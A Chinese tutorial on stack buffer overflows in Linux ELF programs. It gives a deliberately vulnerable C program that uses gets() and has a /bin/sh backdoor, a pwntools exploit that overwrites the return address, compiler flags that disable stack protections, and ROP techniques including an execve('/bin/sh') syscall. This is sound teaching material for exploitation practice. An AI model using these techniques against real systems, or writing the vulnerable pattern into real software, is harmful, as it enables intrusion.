栈
栈是一种计算机系统中的数据结构,它按照先进后出的的方法存储数据,先进入的数据被压入栈底,最后进入的数据在栈顶
c语言函数调用栈
x86栈帧结构
x64
x64前六个参数保存在RDI,RSI,RDX,RCX,R8,R9寄存器中,如果有更多的参数,则保存在栈中
栈溢出基本原理
栈溢出就是程序向变量中写入的字节数超出了本身申请的字节数,导致栈中的其他变量被修改,轻则导致程序崩溃,重则使得攻击者控制整个程序
基本条件:程序可以向栈中写入数据,且写入的数据没有得到良好的控制
一个简单的例子
#include <stdio.h>
void sh()
{
system("/bin/sh");
}
void vul()
{
char s[12];
gets(s);
puts(s);
return 0;
}
int main()
{
vul();
return 0;
}
我们看到改程序定义了两个函数,一个是带有system的后门函数,还有一个是有漏洞的函数
我们把编译好的程序用ida打开
发现变量s开辟了0x14个字节大小的数据,所以我们可以发送0x14字节大小的数据,然后发送4字节覆盖ebp的值,然后发送后门函数的地址覆盖掉原本的返回地址,可以看到后门函数的返回地址是0x080491D6
给出exp
from pwn import *
sh_addr = 0x080491D6
sh = process('./test')
payload = b'a'*0x14 + b'a'*4
payload += p32(sh_addr)
sh.sendline(payload)
sh.interactive()
栈溢出利用总结
寻找危险函数,gets,scanf,vscanf,strcpy,strcat等函数
确定填充栈空间的长度,可以通过gdb调试观察栈空间,或者通过ida变量旁边回写出来栈空间大小
接着我们就是覆盖ebp,x86的是4字节,x64的是8字节
最后我们覆盖返回地址为后门函数的地址
linux下ELF函数的保护机制
canary(栈保护)
canary保护就是在ebp地址之后插入一个cookie,当函数返回时,会检查这个cookie的值是否改变,若改变了则直接使得程序崩溃
程序编译相关参数
- -fno-stack-protector:禁用栈保护
- -fstack-protector:使用堆栈保护,对局部变量中只含有char数组的函数插入保护代码
- -fstack-protector-all:使用堆栈保护,为所有函数插入cookie
NX(栈不可执行)
栈不可执行就是使得数据所在的内存页无法执行命令
编译相关参数
- -z execstack:禁用NX保护
- -z noexecstack:开启NX保护
PIE(内存地址随机化)
PIE就是使得每次加载程序后,地址都不一样
编译相关参数
- -no-pie:不开启PIE
RELRO(数据只读)
RELRO使得程序内一些GOT表等只读,无法修改
构造ROP
ret2text
通过返回地址到text段中的后门达到劫持程序的作用
ret2shellcode
通过返回地址到后门函数中达到劫持程序的作用
ret2syscall
控制程序执行系统调用,达到劫持程序的作用
execve("/bin/sh",NULL,NULL)
系统调用号,eax为0xb,即调用execve函数
第一个参数是/bin/sh,已改使得ebx指向/bin/sh的地址
第二个参数和第三个参数都是0,即ecx和edx都是0
记得要使用int 0x80去使用系统调用